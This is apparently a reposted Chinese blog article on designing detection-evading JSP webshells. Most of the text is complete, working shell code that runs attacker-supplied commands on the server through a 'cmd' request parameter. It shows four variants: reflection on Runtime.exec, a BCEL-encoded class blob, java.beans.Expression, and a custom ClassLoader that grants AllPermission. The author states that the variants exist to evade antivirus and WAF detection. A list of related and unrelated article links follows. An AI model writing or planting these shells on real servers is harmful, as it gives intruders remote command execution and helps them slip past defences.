JSP Webshell免杀设计
JSP Webshell免杀设计
@author:drag0nf1y
介绍
什么是Webshell?
被服务端解析执行的php、jsp文件
什么是RCE?
- remote command execute
- remot code execute
Java没有eval这样的函数,只能执行命令,想要执行代码可以自定义一个类加载器,来加载字节码。
方式
基本的反射
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd = request.getParameter("cmd");
Class<?> rt =Class.forName("java.lang.Runtime");
// Field cr = rt.getDeclaredField("currentRuntime");
// cr.setAccessible(true);
// Runtime crt = (Runtime) cr.get(null);
Method grmethod = rt.getMethod("getRuntime");
Method method = rt.getMethod("exec", String.class);
// 执行 method.invoke(),返回getRuntime对象
Object object = method.invoke(grmethod.invoke(null),cmd);
Process process = (Process) object;
// 回显
java.io.InputStream in = process.getInputStream();
out.print("<pre>");
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
String s = null;
while ((s = stdInput.readLine()) != null) {
out.println(s);
}
out.print("</pre>");
%>
BCEL
BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目。Apache Commons大家应该不陌生,反序列化最著名的利用链就是出自于其另一个子项目——Apache Commons Collections。
BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。
就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于com.sun.org.apache.bcel
。
优势:没有Runtime或者exec这些明显的特征,所以可以做到免杀。
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd = request.getParameter("cmd");
String bcel = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85T$ddR$d3P$Q$feN$JM$h$C$85$d2B$R$7fQ$a4$z$85$fa$83$7f$UQA$40$b4$a0C$j$9c$5e$a6$e9$B$83i$d2I$T$867$f2Vg$b4ud$c6K$_$7c$A$l$c2gp$c4$3di$a1t$a8$e3$c5$d9sv$bf$3d$bb$dfn$f6$e4$c7$9f$af$df$A$ccaS$c1$Q22f$U$E$c4$3e$x$p$ab$e0$Gn$KqK$c1m$cc$v$e8$c5$j$F$S$ee$KqO8$de$P$e1$81$d8$e7$c3$YDN$c6$82$8c$87$MA$87$d7$3c$d3e$88$e6$f7$b4$7d$zkj$d6n$b6$e0$3a$86$b5$9b$pt$c1$b0$Mw$91$n$9e$3c$L$a7$b6$Z$a4e$bb$cc$Z$oy$c3$e2$9b$5e$a5$c4$9d$d7Z$c9$e4$o$9c$adk$e6$b6$e6$YBo$Z$r$f7$adQ$a3$a8$f9$95$7d$c3$a4$f0$3dz$a5$cc$Q$a8$95$Y$c6$ce$c4_$f2$M$b3$cc$9d$9c$cfQ$a3$TC$a2$e9d$d8$d9$rog$87$3b$bc$bc$e5$p$e4$p$99$c4$80$a1$bf$e0j$fa$bb$N$ad$eag$f4$8b$5c$a4FQ$8f$Y$94$95$D$9dW$5d$c3$b6j2$k1$84$5c$bb$99$89$n$96Lu$x_$v$d8$9e$a3$f3UC$90$P$L$d2$b3$c2KE$M$8f$ZF$ff$c1$98a$a4$3bM$aa$f2$YX$b7$aa$9eK$b7$b8Vib2$9e$a8X$c2$b2$8a$a7X$91$b1$aab$N$cfD$a2u$n$9e$abx$81$94$8a$3c6$Y$98$a2$o$v$b4$u$86$a9pA$8ba$b0M$e6ei$8f$ebn$87$e9$b8$ce$e1$b6$e9$a4$Z$f4$Z$92$e2S$O$b5$b1$z$cfr$8d$K$d5$ac$ecr$f7D$89w4$a9e$W$ad$e7$H$5cg$98$ea6$o$a7L$af$i$5b$e7$b5Z$ae$pS$cb$c80$40$99N5$85$ba$7b$9c$ad$b3$5bt$3d$91$ec$K$88$g$86$dbPk2$845$q$e6$t$ef$cfGP$abV$b9EC7$f3$l$b6$9d3$88$x$f4f$86$e8$f11Z$d4v$92$B$3a$c7$Q$a7$7d$84$b4$9f$I$d2$8b$D$d6$d2$N$b0C$E$8a$N$f4l$iB$w$k$a2$b7$f8$F$c1$e9$3a$e4$3aB$N$84$hP6g$ea$e8$x$ceK$df$R$cd$8cIu$a8$d1$7e$So$de$l$fdJg$ea$Y$f8$8c$c8G$K$d5$83Q$92$T$I$91$M$d3$p$ee$83$K1$L$D$98$q$wY$a2$b1H$e9W$c9$x$e1$ff$V$fc$f4$Y$c39$c0$3f$8d$TMF7r8$8f$LDs$92b$5d$c4$r$8a$9b$n$ec2$a1$S$95$F$3a$H$8e$I$94dL$c8$b8$w$e3$9aL$g$7e$pA$g$ae$93$83Da$a6h$d1$cc$91$U$d5fi$X$9d$e8M$7fB$e4$83$df$M$c15$e8$h$c7$7d$3ej$d3$a1$c5$87$n$ed$7bM$ff$F$c9$d3$5b$u$c4$E$A$A";
//获取class(ClassLoader 的对象的描述)
Class<?> _loader = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");
//获得真正的对象实例
ClassLoader loader = (ClassLoader) _loader.newInstance();
Class<?> _obj = loader.loadClass(bcel);
Constructor<?> constructor = _obj.getConstructor(String.class);
Object obj = constructor.newInstance(cmd);
response.getWriter().println("<pre>");
response.getWriter().println(obj.toString());
response.getWriter().println("</pre>");
%>
BeansExpression
Java自带的一个Java.beans.Expression里面有一个getValue()的类,如果在构造的时候传入一些执行参数的话,就会直接执行,并且回显执行结果。
<%@ page import="java.beans.Expression" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStream" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd = request.getParameter("cmd");
Expression expr = new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd});
//返回值是一个process的object
Process process = (Process) expr.getValue();
InputStream in = process.getInputStream();
StringBuilder sb = new StringBuilder();
response.getWriter().print("<pre>");
//回显的返回结果是一个流,用 InputStreamReader 来读取
InputStreamReader resultReader = new InputStreamReader(in);
//再包一层BufferedReader读字符串
BufferedReader stdInput = new BufferedReader(resultReader);
String s = null;
//BufferedReader的readline逐行字符串
while ((s = stdInput.readLine()) != null) {
sb.append(s).append("\n");
}
response.getWriter().print(sb.toString());
response.getWriter().print("</pre>");
%>
自定义ClassLoader
与BCEL是一样的,BCEL是给一段特殊的字节码,用他的bcel classloader来进行加载,不过这里加载的是真正的字节码,通过自定义的ClassLoader来进行加载。
Evil.java
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Evil {
String result;
public Evil(String cmd) throws Exception {
//读结果
StringBuilder sb = new StringBuilder();
BufferedReader reader = new BufferedReader(
// 获取输入流
new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())
);
String line; //临时变量
while ((line = reader.readLine()) != null) {
sb.append(line).append("\n");
//读到回显结果
}
this.result = sb.toString();
//System.out.println(new Evil(cmd));
}
@Override
public String toString() {
return result;
}
}
将上文的类使用javac
编译为字节码。通常在代码中加载字节码的过程会进行Base64编码。于是具体的代码中使用Base64解码后,转为类对象,手动触发该类的构造方法即可实现Webshell的功能。
String cmd = request.getParameter("cmd");
ClassLoader loader = new ClassLoader() {...};
Class<?> clazz = loader.loadClass("ByteCodeEvil");
Constructor<?> constructor = clazz.getConstructor(String.class);
String result = constructor.newInstance(cmd).toString();
实际上自定义ClassLoader
这个过程并不简单,注意到ClassLoader是无法直接在运行时加载字节码的,至少需要重写findClass
方法和loadClass
方法。
其中loadClass
方法会先查找该类是否已被加载,调用findLoadedClass
方法。
如果没有找到,则会调用loadClass
方法;如果还是没有找到,会调用findClass
方法。如果没有重写该方法的情况,默认是抛出异常。如果重写了该方法,则会自定义加载,重写loadClass
方法的代码如下,当我们加载的是指定名称的类时,就调用重写后的findClass
方法。
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if (name.contains("ByteCodeEvil")) {
return findClass(name);
}
return super.loadClass(name);
}
最终的自定义类加载器JSP Webshell如下
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.security.*" %>
<%
ClassLoader loader = new ClassLoader() {
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if(name.contains("ByteCodeEvil")){
return findClass(name);
}
return super.loadClass(name);
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
byte[] bytes = Base64.getDecoder().decode("");
PermissionCollection pc = new Permissions();
pc.add(new AllPermission());
ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
} catch (Exception e) {
e.printStackTrace();
}
return super.findClass(name);
}
};
String cmd = request.getParameter("cmd");
Class<?> clazz = loader.loadClass("ByteCodeEvil");
Constructor<?> constructor = clazz.getConstructor(String.class);
String result = constructor.newInstance(cmd).toString();
response.getWriter().print(result);
%>
JSP Webshell免杀设计的更多相关文章
- Webshell免杀绕过waf
转自圈子404师傅 0x01 前言# 尽最大努力在一文中让大家掌握一些有用的WEBSHELL免杀技巧 0x02 目录# 关于eval 于 assert 字符串变形 定义函数绕过 回调函数 回调函数变形 ...
- [9期]软WAF上传绕过+webshell免杀
安全狗上传绕过 思路: 1.扰乱编码 form-data 替换成 ~form-data form-data 改成 f+orm-data form-data 改成 for ...
- Webshell免杀研究
前言 不想当将军的士兵不是好士兵,不想getshell的Hacker不是好Hacker~有时候我们在做攻防对抗时经常会碰到可以上传webshell的地方,但是经常会被安全狗.D盾.护卫神.云锁等安全软 ...
- 流包装器实现WebShell免杀
说明: 本文首发自 https://www.secpulse.com/archives/73391.html ,转载请注明出处. 前言 本文是看PHP使用流包装器实现WebShell有感,权当做个笔记 ...
- PHP7.1后webshell免杀
严格的D盾 D盾说,我是个严格的人,看到eval我就报木马,"看着像"="就是"木马,宁可错杀一千,绝不放过一个.好了,多说无益,一起看看严格的D盾是如何错杀的 ...
- Webshell免杀
过狗过D盾 <?php class me{ public $a = ''; function __destruct(){ assert("$this->a"); }}$ ...
- 全方位构造免杀 webshell 小结[一]
转载自https://klionsec.github.io/2017/10/11/bypasswaf-for-webshell/ 全方位构造免杀 webshell 小结[一] 前言: 本 ...
- 绕过网站安全狗拦截,上传Webshell技巧总结(附免杀PHP一句话)
这篇文章我介绍一下我所知道的绕过网站安全狗上传WebShell的方法. 思路是:修改HTTP请求,构成畸形HTTP请求,然后绕过网站安全狗的检测. 废话不多说,切入正题.... 1.实验环境: Win ...
- 分析一个免杀webshell发现的php特性
文章首发于t00ls,嫌文章太啰嗦的可以直接看结论 起源 之前看到别人分享的一个免杀webshell: <?php @$GLOBALS{next} = $GLOBALS[$GLOBALS[fun ...
随机推荐
- 关于 Excel 函数对字符、布尔、数字的运算的细节
使用函数时,通过引用单元格作为参数进行运算,不会计算字符和布尔. 假如 A1.B1.C1 这三个单元格,其中 A1 为布尔TRUE:B1 为字符"2":C1 为数字1. 求和函数= ...
- 定制化JDK升级引发的离奇事件
1.背景 由于Oracle对外宣称Oracle JDK停止免费用于商用.公司法务部门评估之后担心后续会惹上光司,于是就开始了JDK升级-将所有服务Oracle修改为OpenJDK.上周开始微服务JDK ...
- Codeforces Round #606(B-D)
Dashboard - Codeforces Round #606 (Div. 2, based on Technocup 2020 Elimination Round 4) - Codeforces ...
- AtCoder Beginner Contest 260 (D-E)
AtCoder Beginner Contest 260 - AtCoder D - Draw Your Cards 题意:N张卡牌数字 1-n,以某种顺序排放,每次拿一张,如果这一张比前面某一张小( ...
- 解决报错:axios is not defined
好家伙,来解决报错:axios is not defined 写前端嘛,修bug,不寒颤 进入页面一片空白 来看看报错: 1.axios在安装时:npm install axios --save-de ...
- 完全解析Array.apply(null, { length: 1000 })
Array.apply(null, { length: 1000 }) 点击打开视频讲解更加详细 在阅读VueJS教程时有这么段demo code: render: function (createE ...
- VM虚拟机安装
VM虚拟机安装 1.安装vm虚拟机软件 1.1 双击打开虚拟机文件 1.2 根据向导安装 下一步 安装好了 不要着急点完成在 安装目录中有许可证. 1.3激活操作 2.虚拟机原理简介 3. 新建虚拟机 ...
- KingbaseES V8R6C5禁用root用户ssh登录图形化部署集群案例
案例说明: 对于KingbaseES V8R6C5版本在部集群时,需要建立kingbase.root用户在节点间的ssh互信,如果在生产环境禁用root用户ssh登录,则通过ssh部署会失败:在图形化 ...
- AD画板从头开始
AD画板从头开始 前言 近期认真的画了一次板子,以前虽然也画过,但是都是很随意的,这次是做一个小项目,然后因为有一段时间没有画板了,发现自己很多基础的东西都忘记了,这里就来记录一下从头到尾的过程.本次 ...
- k8s 中的 Pod 细节了解
k8s中Pod的理解 基本概念 k8s 为什么使用 Pod 作为最小的管理单元 如何使用 Pod 1.自主式 Pod 2.控制器管理的 Pod 静态 Pod Pod的生命周期 Pod 如何直接暴露服务 ...